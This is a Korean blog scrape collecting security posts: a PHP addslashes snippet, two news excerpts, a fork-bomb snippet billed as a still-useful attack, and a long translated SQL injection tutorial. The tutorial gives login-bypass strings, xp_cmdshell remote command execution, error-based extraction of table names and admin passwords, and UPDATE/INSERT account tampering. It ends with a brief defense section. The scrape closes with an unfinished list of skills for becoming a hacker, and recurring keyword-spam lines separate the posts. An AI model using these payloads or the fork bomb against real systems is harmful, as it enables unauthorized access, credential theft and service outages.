거의 없는 경우지만….
'magic_quotes_gpc = Off' 의 문제는 다들 아실테니….

$_GET, $_POST에 대해서 일일이 addslashes() 해주기 귀찮아서 없는 실력으로 삽질했습니다.
개인 서버라면 .htaccess에 옵션으로 넣으시면 되겠지만, 호스팅의 경우 이게 필요합니다.

-----------------------------------------------------------------------------------------
if ( get_magic_quotes_gpc() != 1 ) {
   $_GET = array_map('addslashes', $_GET);
   $_POST = array_map('addslashes', $_POST);
}
-----------------------------------------------------------------------------------------

자동차보험,의료,보험,대출,미용,금융,법률,부동산,중고자동차,무료듣기,건강,돈,국민임대아파트

Posted by CodeChef
TAG PHP, 보안, 해킹

댓글을 달아 주세요

  1. Favicon of http://fillgun.tistory.com BlogIcon 필군~ 2008.11.15 14:17 신고  댓글주소  수정/삭제  댓글쓰기

    좋은글 담아갑니다 ^^

웹 사이트들은 자바스크립트 덕분에 점점 더 대화형으로 발전하고 있지만 10년 정도된 자바스크립트의 사용으로 보안 이슈가 제기되고 있다.

자바스크립트는 웹 2.0 붐에서 주요한 역할을 하고 있다. 웹 2.0은 웹사이트의 영역을 넓혀가고 있으며 자바스크립트가 큰 역할을 하고 있기 때문이다. 그러나 악성 자바스크립트는 특히 웹사이트의 보안상 결함과 결합되어 웹기반 공격을 개시할 수 있다고 보안 전문가들은 경고한다.

자바스크립트와 이것이 왜 보안 위협이 될 수 있는지에 대한 질문에 답을 하는 과정에서 CNET 뉴스닷컴은 아래 항목들로 FAQ 를 만들었다.

자바스크립트는 무엇인가?


...

Zdnet에서 전체 기사 보기

자동차보험,의료,보험,대출,미용,금융,법률,부동산,중고자동차,무료듣기,건강,돈,국민임대아파트

Posted by CodeChef

댓글을 달아 주세요

최근 인터넷 기업에 있어 웹 2.0은 하나의 트렌드로 대형 포털들이 웹 2.0을 반영한 서비스 또는 홈페이지 개편 등을 하나 둘씩 선보이고 있다. 하지만 웹 2.0의 보안 위험 수위는 매우 높다는 것이 전문가들의 분석이다.

지난 18일, 다음커뮤니케이션은 사용자 중심의 UI(User Interface) 개편 및 개인화 서비스에 초점을 둔 초기화면을 새롭게 선보였다......

Zdnet에서 전체 기사 보기

자동차보험,의료,보험,대출,미용,금융,법률,부동산,중고자동차,무료듣기,건강,돈,국민임대아파트

Posted by CodeChef

댓글을 달아 주세요

c 언어에서 fork() 함수는 자신의 프로세스를 복사해서 자식프로세서를 생성해낸다.
하지만 수백개의 프로세서를 한번에 복사시키면 시스템은 그대로 죽고말게된다..

간단한 fork() 함수 소스

일반사용자로 로그인해서 컴파일할수 있는권한만 있다면 아직도 유용한 공격방법입니다

[CODE] #include <unistd.h> main(){   while(){     fork();   return (0);   } } [/CODE]



출처 : http://chakani.net/

자동차보험,의료,보험,대출,미용,금융,법률,부동산,중고자동차,무료듣기,건강,돈,국민임대아파트

Posted by CodeChef
TAG 해킹

댓글을 달아 주세요

SQL Injection 에 대한 모든 내용을 담은 문서입니다.

Advanced SQL Injection [thomas].pdf


목차

1 개요

1.1 SQL Query

1.2 DML & DLL

1.3 Metabata

1.4 웹 어플리케이션

1.5 일반적인 취약한 로그인 쿼리


2 SQL Injection 테스트 방법론

1) 입력 값 검증

2) 정보 수집

3) 1=1 Attacks

5) OS Interaction

6) OS 명령 프롬프트

7) 확장된 효과


3 회피 기술

3.1 개요

3.2 IDS “signature” 우회

3.3 입력 값 검증 우회 하기

3.4 회피와 우회


4 SQL Injection 대응 방안

4.1 개요

4.2 탐지 및 제한시키기

4.3 결론

※ 참조자료 및 문서

자동차보험,의료,보험,대출,미용,금융,법률,부동산,중고자동차,무료듣기,건강,돈,국민임대아파트

Posted by CodeChef
TAG 해킹

댓글을 달아 주세요

  1. 2014.09.19 02:21  댓글주소  수정/삭제  댓글쓰기

    비밀댓글입니다

SQL Injection

서버 2006.08.31 06:49
Summary
이 문서는 초보자들에게 많은 도움이 될것이다. SQL Injection 테크닉들을 통해서 문제를 해결 하려고 노력하고, 그것들을 성공적으로 이용하기를 원하고, 또한 그러한 공격으로보터 자신을 방어하고자 하는 ……..

Details
1.0 Introduction
===============
서버가 단지 80포트만을 오픈하고 있을때, 당신의 믿음직한 취약점 스캐너는 유용한 정보를 잡아내지 못한다. 당신도 알다시피 관리자는 항상 서버를 패치한다. 우리는 웹해킹으로 관점을 돌려야 한다. SQL injection은 단지 80번 포트만을 필요로 하는 웹해킹의 방법중 한가지이다. 만일 관리자가 패치를 잘 하고 있을지라도 해킹은 잘 작동하게 될것이다. SQL injection 는 OS 상에서 웹서버나 서비스가 실행되고 있다고 할지라도 웹 어플리케이션(like ASP, JSP, PHP, CGI, etc) 상에서 웹어플리케이션 그자체를 공격한다.

이 문서는 새로은 것에 대해서 말하고 있지는 않다. SQL injection에 관한 문서는 여러사람들이 써 왔고 널리 사용되어지고 있다. 우리는 이문서를 작성했다. 직접 수기로 작성한 SQL injection 의 몇가지를 문서화 하기 위해서 그리고 다른사람들에게 이문서가 도움에 되기를 바라기 때문이다. 당신은 한 두가지를 더 발견할수 있을 것이다. 그러기 위해서 “9.0 Where can I get more info?”를 확인해 봄으로써 SQL injection 안에서 많은 테크닉들을 개발할수 있는 믿을만한 많은 정보들을 얻을수 있을 것이다.

1.1 What is SQL Injection?
————————
SQL injection 은 웹 페이지를 통해서 입력하는 것처럼 SQL query/command를 삽입하기위한 트릭이다. 많은 웹페이지들은 웹 사용자로 부터 패러미터들을 입력받아 데이타베이스에대한 SQL query를 만든다. 사용자가 로긴을 할때를 예를 들자면, 사용자가 유효한 이름과 패스워드를 사용하는지를 확인하기위해서 사용자 이름과 패스워드를 에 관한 SQL query 를 만든다. SQL injection를 통해서, 정상적인 SQL query를 변조하게 하는 교활하게 조작된 사용자 이름과 패스워드를 보내는 것이 가능하고 우리는 이것을 통해서 어떤것을 행하게 할수가 있는 것이다.

1.2 What do you need?
——————–
어떤 브라우저라도 좋다.


2.0 What you should look for?
============================
데이타 입력을 허락하는 웹페이지를 찿아 보아라. 예를 들자면 로긴 웹 페이지, 서치 웹페이지, 피드백 등등. 자주 HTML 페이지는 다른 ASP 페이제 패러미터를 보네기 위해서 POST 명령을 사용한다. 하지만 당신은 URL 에서 패러미터를 볼수는 없을 것이다. 그러나 HTML의 소스 코드를 확인해 보면 HTML 코드에서 “FORM” 태그를 발견 할 수 있을 것이다. 당신은 이 HTML 코드에서 다음과 같은 것을 발견 할 수가 있을 것이다.:




사이에 있는 모든 것들은 우리가 익스플로잇에 사용할수 있는 잠재적인 패러 미터를 가지고 있다.

2.1 What if you can’t find any page that takes input?
———————————————
ASP, JSP, CGI, or PHP 같은 웹 페이지들을 찿아 보기 바란다. 특히 다음과 같은 패러미터를 가지고 있는 URL을 찿아 보거라. 다음:

http://duck/index.asp?id=10

3.0 How do you test if it is vulnerable?
==================================
싱글 쿼트(’) 트릭으로 시작해 보자!
다음과 같이 입력해 보거라.:

hi’ or 1=1–

다음 예와 같이 로긴, 패스워드 또는 URL 에서 말이다.
- Login: hi’ or 1=1–
- Pass: hi’ or 1=1–
- http://duck/index.asp?id=hi’ or 1=1–

만일 히든 필드와 같이 이것들을 실행해야 한다면 사이트로 보터 HTML 소스를 다운로드 받고, 당신의 하드 디스크에 저장하고, 적당하게 URL 과 히든 필드를 수정하라. 예를 들자면 :



운이 좋다면 로긴 네임이나 패스워드 없이 로긴 할 수 있을 것이다.

3.1 But why ‘ or 1=1–?
———————
‘ or 1=1– 가 왜 중요한지에 대해서 다른 예제를 알아 보도록 하자. 로긴을 바로 통과 하는 것외에 일반적으로 가능한것은 아니지만 또다른 가능성은 엑스트라 인포메이션 즉 부수적인 정보를 보는 것이 가능하다는 것이다. 다음 URL 과 같이 당신을 다른 페이지로 링크를 해주는 asp 페이지를 보자 :

http://duck/index.asp?category=food

이 URL에서 ‘category’ 는 변수이고 ‘food’는 변수에 할당되어진 변수 값이다. 이와 같은 일은 하기 위해서 ASP는 다음과 같은 코드를 포함하고 있을 것이다.(그렇다. 이것은 이 문제를 위해서 우리가 만든 실제 코드이다.) :

v_cat = request(”category”)
sqlstr=”SELECT * FROM product WHERE PCategory=’” & v_cat & “‘”
set rs=conn.execute(sqlstr)

보는 바와 같이 우리의 변수는 v_cat 안으로 들어 갈 것이고 그래서 SQL 문장은 다음과 같이 될 것이다.:

SELECT * FROM product WHERE PCategory=’food’

쿼리는 WHERE 조건(이경우 ‘food’)과 일치하는 한개나 한개 이상의 행을 결과로 리턴한다.
이제 다음과 같이 URL을 바꾸게 될 경우를 알아 보자 :

http://duck/index.asp?category=food’ or 1=1–

만일 SQL query 에서 변수를 다음과 같이 변경하게 되면, 이제 변수 v_cat = “food’ or 1=1– ” 되고 우리는 다음과 같은 결과를 얻을 것이다:

SELECT * FROM product WHERE PCategory=’food’ or 1=1–’

쿼리는 product 테이블로 부터 모든것을 선택한다. PCategory 가 ‘food’ 인지 아닌지에 상관없이 말이다 더블 대쉬(”–”)는 MS SQL 서버에게 쿼리의 나머지 부분을 무시하도록 한다. 마지막에 있는 싱글 쿼트(’)를 제거하는 역할을 하게 될 것이다. 종종 더블 대쉬(–)는 싱글 해쉬(#)로 대체 할 수 있다.

하지만 SQL 서버가 아니거나 쿼리의 나머지를 간단하게 무시하게 할수가 없다면 다음과 같이 시도해 보라:

‘ or ‘a’='a

SQL 쿼리는 이제 다음과 될 것이다:

SELECT * FROM product WHERE PCategory=’food’ or ‘a’='a’

이제 동일한 결과를 돌려 줄 것이다.

실제 SQL query 에 따라서 다음과 같은 것들중에서 한개로 시도 하기 바란다:

‘ or 1=1–
” or 1=1–
or 1=1–
‘ or ‘a’='a
” or “a”=”a
‘) or (’a'=’a

4.0 How do I get remote execution with SQL injection?
==================================================
만일 일반적인 의미로서 SQL 명령을 삽입 할수 있다면 모든 SQL query 를 실행 할수 있을 것이다. MS SQL 서버가 윈도우즈 안에서 관리자 접근과 동등한 시스템상에 디폴트 인스톨로 실행되고 있다. 우리는 리모트 실행을 수행하기 위해서 xp_cmdshell 를 마스터 같이 저장된 프로시저를 사용할수 있다…. :

‘; exec master..xp_cmdshell ‘ping 10.10.1.2′–

싱글 쿼트(’)가 작동하지 않으면 더블 쿼트(”)를 사용해 보라

세미 콜론은 현제 SQL query 를 끝나게 할것이고 그래서 당신이 새로운 SQL 명령을 시작할 수 있게 할것이다. 만일 서버로부터 어떤 패킷이 있는지를 체크하기 위해서 명령이 성공적으로 실행되었는지를 확인하기 위해서 10.10.1.2 로 부터 ICMP 패킷을 리슨 할수 있다. :

#tcpdump icmp

만일 당신이 서버로부터 아무 핑(ping) 요구 받지 못했고, 퍼미션 에러를 표시하는 에러메시지를 받았다면, 이러한 저장된 프로시저에 대해서 관리자가 웹사용자의 접근을 제한하고 있을 가능성이 있다.

5.0 How to get output of my SQL query?
======================================
HTML 안에 당신의 쿼리를 삽입하기 위해서 sp_makewebtak 를 사용 할 수 있다:

‘; EXEC master..sp_makewebtask “\10.10.1.3\share\output.html”, “SELECT * FROM INFORMATION_SCHEMA.TABLES”

하지만 타켓 IP 는 모든 사람이 공유하고 있는 공유 폴더이어야 한다.

6.0 How to get data from the database using ODBC error message
============================================================
우리는 우리가 원하는 대부분의 데이타를 얻기 위해서 MS SQL 서버에 의해서 처리되어지는 에러 메세지로 부터 정보를 사용 할 수 있다. 다음과 같은 문장을 가지고 있는 페이지가 있다고 하고 예를 들자면 :

http://duck/index.asp?id=10

우리는 데이타베이스로 부터 정수 10 을 다른 문자열과 함께 UNION 을 시도할 것이다:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES–

서버안에서 시스템 테이블 INFORMATION_SCHEMA.TABLES 은 모든 테이블에 관한 정보를 포함하고 있다. TABLE_NAME 필드는 데이터베이스 안에서 각 테이블의 이름을 분명히 포함하고 있다. 알다 시피 그것은 항상 존제 하기때문에 우리는 그것을 선택했다. 우리의 쿼리는 :

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-

이것은 데이터베이스 안에서 첫번째 테이블을 리턴한다. 우리가 이 문자열 값을 정수 10과 UNION 할때 MS SQL 서버는 문자열(nvarchar)을 정수로 변환을 시도할 것이다. 이것은 우??가 nvarchar을 int 로 전환 할 수 없는 것 때문에 에러를 발생 시킨다. 서버는 다음의 에러 메시지를 출력할 것이다:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘table1′ to a column of data type int.
/index.asp, line 5

에러 메시지는 어떤 값이 정수로 변환 되어질수 없다는 것을 알려주게 되므로 우리에게 충분한 가치가 있다. 이경우에 우리는 데이터 베이스에 있는 첫번째 테이블 이름이 “talbe1″ 이라는 것을 알게 된다.

다음 테이블 이름을 얻기 위해서 우리는 다음 쿼리를 사용 할 수 있다:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (’table1′)–

우리는 LIKE 키워드를 사용하여 데이타를 조사 할 수 있다.

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE ‘%25login%25′–

Output:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘admin_login’ to a column of data type int.
/index.asp, line 5

동등한 표시로서, SQL 서버 안에서 ‘%25login%25′ 은 %login% 처럼 보여질 것이다. 이경우에 우리는 “admin_login” 과 일치하는 첫번째 테이블 이름을 얻게 될것이다.

6.1 How to mine all column names of a table?
—————————————-
우리는 테이블의 모든 컬럼들의 이름을 알기 위해서 다른 유용한 테이블 INFORMATION_SCHEMA.COLUMNS 을 사용 할 있다 :

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’–

Output:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘login_id’ to a column of data type int.
/index.asp, line 5

이제 첫번째 칼럼 이름을 얻게 되었고 다음 컬럼 이름을 얻기 위해서 NOT IN () 을 사용 할 수 있다 :

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’ WHERE COLUMN_NAME NOT IN (’login_id’)–

Output:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘login_name’ to a column of data type int.
/index.asp, line 5

이와 같이 계속해서 나아가서 우리는 나머지 칼럼 이름을 획득 했다. “password”, “details”. 우리는 이것들을 다음 에러 메시지를 얻었을때 알수가 있다 :
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’ WHERE COLUMN_NAME NOT IN (’login_id’,'login_name’,'password’,details’)–

Output:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14′
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.
/index.asp, line 5

6.2 How to retrieve any data we want?
————————————
이제 몇개의 중요한 테이블들 과 그것들의 컴럼들을 확인해보자. 우리는 데이타베이스로 부터 우리가 원하는 정보를 획득하기 위해서 똑같은 테크닉을 사용 사용 할 수 있다.

이제, “admin_login” 테이블로 부터 첫번째 login_name 을 얻어보자:

http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login–

Output:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘neo’ to a column of data type int.
/index.asp, line 5

이제 우리는 neo 라는 로긴 이름을 가지고 있는 admin 유저가 있다는 것을 알았다. 마지막으로 데이터베이로 부터 neo 의 패스워드를 얻기 위해서 :

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name=’neo’–

Output:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘m4trix’ to a column of data type int.
/index.asp, line 5

우리는 ID neo, password m4trix 로 로긴 할 수 가 있을 것이다.

6.3 How to get numeric string value?
——————————–
위에 설명한 테크닉에는 제한 사항이 있다. 만일 우리가 유효한 숫자(0-9 사이에 있는 문자)로 구성된 텍스트를 변환하기를 시도한다면 우리는 어떤한 에러 메시지도 얻을 수 없을 것이다.
ID trinity인 사용자의 패스워드 31173 을 얻기 위한 시도를 가지고 말해보자:

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name=’trinity’–

우리는 “Page Not Found” 에러를 얻을 것이다. 정수(이경우 10)와 UNION 하기 전에 패스워드 31173 은 숫자로 변환되어질 것이기 때문이다. 그것은 유효한 UNION 문 이기 때문에 SQL 서버는 ODBC 에러 메시지를 출력하지 않을 것이다. 그래서 우리는 어떠한 숫자 엔트리를 발견해 낼 수가 없다.

이 문제를 해결하기 위해서, 우리는 변환이 확실히 실폐 하로독 하기 위해서 숫자 문자열에 몇개의 알파벳을 덧붙일 수 있다. 이번에는 위에것 대신이 이 쿼리로 시도를 해보자:

http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b’%20morpheus’) FROM admin_login where login_name=’trinity’–

우른는 패스워드에 우리가 원하는 어떤 텍스틀를 덧붙이기 위해서 더하기 기호(+,ASSCII code for ‘+’ = 0×2b)를 사용한다. 우리는 ‘(space)morpheus’ 를 실제 패스워드에 덧붙일 것이다. 그래서 우리가 숫자 문자열 31173 을 가지고 있다고 할 지라도 그것은 ‘31173 morpheus’ 이 될 것이다. 수작업으로 convert() 함수를 호출 함으로서 ‘31173 morpheus’ 을 정수로 변환을 시도해보면 SQL 서버는 EDBC 에러 메시지를 출력 할 것이다:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘31173 morpheus’ to a column of data type int.
/index.asp, line 5

이제 ID trinity, 패스워드 31173 로 로긴을 할 수가 있다.

7.0 How to update/insert data into the database?
===========================================
우리가 테이블의 모든 칼럼 이름을 성공적으로 얻게될때 우리는 UPDATE 명령을 사용하거나 테이블안에 새로운 레코드를 삽입하기 위해서 INSERT 명령을 사용 할 수 가 있다. 예를 들자면, neo 의 패스워드를 변경하기 위해서 :

http://duck/index.asp?id=10; UPDATE ‘admin_login’ SET ‘password’ = ‘newpas5′ WHERE login_name=’neo’–

데이터 베이스 안에 새로운 레코드를 삽입하기 위해서 :

http://duck/index.asp?id=10; INSERT INTO ‘admin_login’ (’login_id’, ‘login_name’, ‘password’, ‘details’) VALUES (666,’neo2′,’newpas5′,’NA’)–

우리는 이제 ID neo2, 패스워드 newpas5 로 로긴 할 수 가 있다.

8.0 How to avoid SQL Injection?
=============================
다음과 같은 경우에 모든 문자열 안에서 싱글 쿼트, 더블 쿼트, 슬래쉬, 백슬래쉬, 세미 콜론, NULL 같은 확장된 문자, 캐리지 리턴, 뉴라인 등과 같은 문자를 필터링 한다면 :
- 사용자로 부터의 입력
- URL 에 있는 패러미터
- 쿠키 안에 있는 값들

숫자 값을 위해서 그것을 SQL 문으로 파싱을 하기전에 그것을 정수로 변환하라. 또는 그것이 정수인지를 확인하기 위해서 ISNUMERIC 를 사용하라.

SQL Server Security tab 안에서 하위 특권 사용자를 사용하여 “Startup and run SQL Server” 를 변환 시켜라.

당신이 사용하지 않는 다음 같은 저장된 프로시저들을 삭제 하라 :

master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

9.0 Where can I get more info?
===============================
최근우리가 발견하고 SQL Injection 을 적용한 최근 작품들 중에 하나는 PacketStrom 을 어떻게 해킹 했는지에 관한 Rain Forest Puppy 의 문서이다.
http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6

ODBC 에러 메시지들로 부터 정보를 획득하는 방법에 관한 멋진 문서가 여기에 있다.
http://www.blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc

또한 다양한 SQL 서버상에서 SQL Injection 에 관한 훌륭한 요약집이 여기에 있다.
http://www.owasp.org/asac/input_validation/sql.shtml

SQL Injection 에 관한 Senseport 의 문서 :
http://www.sensepost.com/misc/SQLinsertion.htm

읽어 볼만한 문서들:
http://www.digitaloffense.net/wargames01/IOWargames.ppt
http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6
http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6
http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf

-------------------------------------------------------------------

번역문서 퍼온겁니다..
자료 출처는 https://www.manic.co.kr/wp/archives/2005/02/28/sql-injection/

자동차보험,의료,보험,대출,미용,금융,법률,부동산,중고자동차,무료듣기,건강,돈,국민임대아파트

Posted by CodeChef
TAG 해킹

댓글을 달아 주세요


1. 유닉스

기존의 대형 network는 대부분 유닉스를 기반으로 구성되어 있었으며 해커들은 여기서 자양분을 공급받았고 해킹을 해왔다.
그러므로 당연히 알아야 된다.

2. 리눅스

리눅스는 유닉스와 비슷한 형태의 운영체제로 PC 에서구동될 수 있도록만든 유닉스 비슷한 운영체제라고 보면된다.
명령도 거의 비슷하고 커널 구조도 거의 흡사해서 유닉스 사용자는 리눅스를 무리없이 쓸 수 있고 유닉스 해킹법은 리눅스에서도 거의 통한다.

3. 윈도우95/98/2000/NT/ME

요즘대부분의 개인 PC 사용자들이 윈도우시리즈에 바탕을 두고 있고 서버시장에서도 그 편리성에 힘입어 NT가 입지를 넓혀가고 있다.
그러므로 당근 알아야 된다.

4. HTML

HTML은 웹 페이지를 구성하는 가장 기본이 되는 언어이며 초보자들이 프로그래밍의 개념을 잡는데 어느 정도 도움을 줄 수 있다.또한 요즘 들어 웹 보안이 중요한 문제로 자리잡고 있으므로 웹의 기본인 HTML은 꼭 알아야 된다.

5. C/C++ 언어

이 언어는 가장 많은 사용자를 가지고 있으면서 가장 오래된 언어 중 하나이며 가장 강력하고 빠른 언어 중 하나이다. 해커들 중 이 언어를 사용하지 못한다면 그 사람은 이미 해커가 아니다. 많은 언어들 이 C 언어를 바탕으로 생성되었으며 C를 능숙하게 다룰 수 있는 사람은 다른 언어를 배우는데도 문제가 없을 것이다.

6. Java script

자바 스크립트는 자바와는 다르다.
웹이 활성화됨과 동시에 다양한 웹 프로그래밍 도구들이 생겼다.
자바 스크립트도 그 중 한가지로 많은 웹 페이지에서 이것을 사용하고 있다.
자바 스크립트만 알아도 해킹할 수 있는 웹페이지가 있을 정도이니 당연히 알아두자.
참고로 자바 스크립트와 자바를 확실히 구별해서 사용하자.
그렇지 않으면 자바 프로그래머들이 들으면 기분 나빠할 것이다.

7. Java

현재로서는 자바를 굳이 알아야 한다고 하기는 이른 감이 있지만 자신이 능력있는 해커가 되고자 한다면 자바는 또한 필수다.
자바는 썬 마이크로시스템즈 사가 만든 객체지향 언어로 요즘 많은 네트워크 관련 장비와 연계하여 보이지 않게 많은 입지를 넓히고 있다. 네트워크에 연결될 수 있는 많은 장비들과 심지어는 가전제품까지 자바의 지원을 표방하고 나선 마당에 자바를 배우지 않을 이유가 없다. 네트워크는 컴퓨터에만 있는 것이 아니다.

8. CGI

Common Gateway Interface의 약자인 CGI는 웹에서 어떤 입력을 받아서 그 데이터를 처리하는 프로그램과 연결을 위한 일반적인 규약으로 특정 언어나 수단을 지칭하는 것은 아니다.
CGI를 통한 입력을 처리하는 방법은 다양하며 그 다양한 방법들 중 일반적으로 사용되는 방법들을 해커는 반드시 알 필요가 있다.뒤에 다시 언급할 것이다.

9. Perl

펄은 앞에서 언급한 CGI와 관련되어서 중요한 것이다.
CGI 데이터 처리를 위해서 사용되는 많은 수단들 중 하나가 바로 펄이며 펄은 CGI를 떠나서 그 자체만으로도 주목받는 언어들 중 하나다. 초보자의 경우는 모르겠으나 기존 프로그래머는 배우기 쉬우며 다양한 기능들에 만족할 것이다.

10. Shell Programming

쉘 프로그래밍은 유닉스/리눅스의 쉘 번역기를 이용하여 작성하는 프로그램을 말한다.
쉘은 원래 명령어 해석기지만 그 명령어들을 모아서 하나의 파일로 만든 다음일반 프로그램처럼 실행시킬 수 있다. 해커들은 쉘 프로그래밍의 대가이며 쉘 프로그래밍은 별다른 컴파일러를 요구하지 않는 인터프리터 언어이므로 적용하고자 하는 곳에 바로 쉽게 적용할 수 있어서 해킹 도구로 그만이다.
또한 많은 유닉스/리눅스 서버가 CGI 처리를 위해 쉘 프로그래밍을 사용하므로 반드시 알아야 겠다.

11. OSI 7 layer

OSI 7 계층은 네트워크를 위한 전반적인 구조를 정의하고 있는 일종의 프로토콜이라고 할 수 있다.
많은 네트워크가 이 계층 구조를 바탕으로 형성되어 있으므로 해커라면 개념은 반드시 잡고 넘어갈 필요가 있다.

12. TCP protocol

인터넷의 대부분은 이 프로토콜을 이용해서 구현되어 있다.
인터넷 해킹에 관심이 많은가?
네트워크가 뭔지 알고 싶은가?
그렇다면 이건 전공필수다.

13. CISCO router

라우터는 네트워크를 구현하는데 필수적인 장치이다.
특히나 CISCO router는 전 세계 라우터 시장의 75%를 장악하고 있다.
시장을 좌지우지하는 점유율이 60%라는 것을 감안할때 라우터는 시스코가 표준이라고 봐도 좋다.
그러므로 시스코 라우터의 구조 등에 대해서 공부하는 것은 당신을 대단한 해커로 만드는 지름길이다.

14. DES 암호화

DES 암호화는 유닉스/리눅스의 대표적인 패스워드 암호 변환 알고리즘이다.많은 암호들이 DES 암호 방법을 사용하여 구현되어 있으므로 이에 대한 학습도 중요하다 하겠다.

15. PGP [Pretty Good Privacy]

PGP는 공개키 암호 방식을 사용하는 암호화 알고리즘이다.
인터넷을 통한 대부분의 데이터 전송이 암호화 되지 않은 상태로 전송된다.해커라면 이런 암호화 되지 않은 데이터 전송으로 인해 다른 사람이 자신의 데이터를 패킷 스니핑 하는 것을 용납하는 것은 자존심 상하는 문제다.
PGP는 그에 대한 적절한 해답이 될 수 있다.

16. 자료구조론

자료구조론은 프로그래밍에 있어서 기본이나 마찬가지다.
자료구조는 가장 깔끔한 프로그래밍을 가능하게 하는 반석이다.
해커라고 해서 무작정 네트워크를 뚫기만 하는 좁은 영역만 보지 말고 기본을 다질 줄 알아야 한다.

17. 컴퓨터 구조론

컴퓨터의 구조를 일단 알게 되면
컴퓨터가 절대 대단한 장치가 아니라는 것을 깨닫게 된다.
누군가 쓴 책의 제목처럼 컴퓨터는 깡통에 지나지 않는다.
하지만 그 깡통은 말 잘듣는 훌륭한 하인이 될 수 있으며 당신에게 가장 유용한 도구가 될 수 있다.
컴퓨터 구조론을 공부함으로 해서
당신은 그 하인을 가장 적절하게 부릴 수 있을 것이다.

18. 어셈블리어

어셈블리어는 가장 빠른 언어이며 가장 근본적인 언어이고 가장 까다로운 언어 중 하나이다. 어셈블리어를 배우는 가장 근본적인 이유는 가장 근본적으로 컴퓨터를 다룰 수 있기 때문이다.
하지만 어셈블리어는 머신에 종속되므로 그것을 컴퓨터 종류마다 다 배운다는 것은 무척이나 소모적인 작업일 수 있다.필수라고 말하기는 힘들지만 어셈블리어를 능숙하게 다룬다는 것은 확실히 유리한 점이 있다.

19. Ethernet Structure

대부분의 네트워크 환경이 LAN으로 구성되어 있으며 Lan은 또한 대부분 Ethernet 프로토콜을 구현하고 있다.
몇몇 해킹법[패킷 스니핑, E-mail intercepting 등]은 Ethernet 프로토콜의 단점을 바탕으로 하며 Ethernet은 그 구조상 많은 재미있는 해킹을 맛볼 수 있다.

20. 영어

어디선가 해커가 알아야할 가장 기본적인 사항으로 영어를 언급한 글을 본적이 있다.
맞는 말이다. 영어를 모르고서는 해커되기를 포기하는 것이 좋다.
왜냐하면 대부분의 자료가 영어로 되어 있기 때문이다.
당신이 만약 남이 다 먹고 소화 다 시킨 자료로만으로도 만족한다고 하면 영어를 배울 필요는 없을 것이다.

다른 해커에게 자료를 구걸하면 되니까 말이다.

21. Gateway/Firewall

상업적으로 또는 중요한 정보를 포함하고 있는 네트워크는 그 정보를 보호하기 위해서 방화벽을 사용한다.
방화벽은 비유적으로 말하자면 어떤 건물로 들어 가는 문이라고 할 수 있으며 문을 지나가고자 하는 사람이나 문을 지키고자 하는 사람 둘다그 문의 구조에 대해서 잘 알 필요가 있다.

22. 디지털 회로 이론

컴퓨터를 사용한다고 하면 일반적으로 소프트웨어적인 면만 강조하기 마련이다.하지만 실제로 컴퓨터는 하드웨어이며 소프트웨어는 결국은 그 하드웨어에 종속되기 마련이다.
소프트웨어가 구현되는 곳이 하드웨어를 바탕으로 하므로 컴퓨터를 구성하는 디지털이라는 신세기의 괴물을 알지 못하면 근본적인 컴퓨터에 대한 이해는 기대하기 힘들다.
우리의 선대 해커들 거의 모두가 하드웨어 해커였다는 것을 상기해보기 바란다.

23. 유즈넷

유즈넷은 많은 정보의 보고이다.
거의 대다수의 해커들이 유즈넷을 거점으로 활동하고 있으며 유즈넷을 위해서 봉사하고 있다. 가장 빠른 정보를 얻을 수 있는 곳은 유즈넷이다.
하지만 유즈넷은 완전히 걸러진 정보를 얻기는 불안하므로 어느 정도의 해안이 필요하다.

24. 소프트웨어 공학

여기서 말하는 소프트웨어 공학은 넓은 의미의 소프트웨어 공학을 말하는 것이 아니다.
단지 소프트웨어를 만들때 필요한 설계적인 측면에 대한 공부가 필요하다는 것이다.
해커는 어설퍼서는 곤란하다.
해커가 만든 프로그램은 그 이름에 걸맞는 격을 갖출 필요가 있다.
그러므로 버그가 없는 소프트웨어는 해커의 명성을 드높인다.

25. ASCII

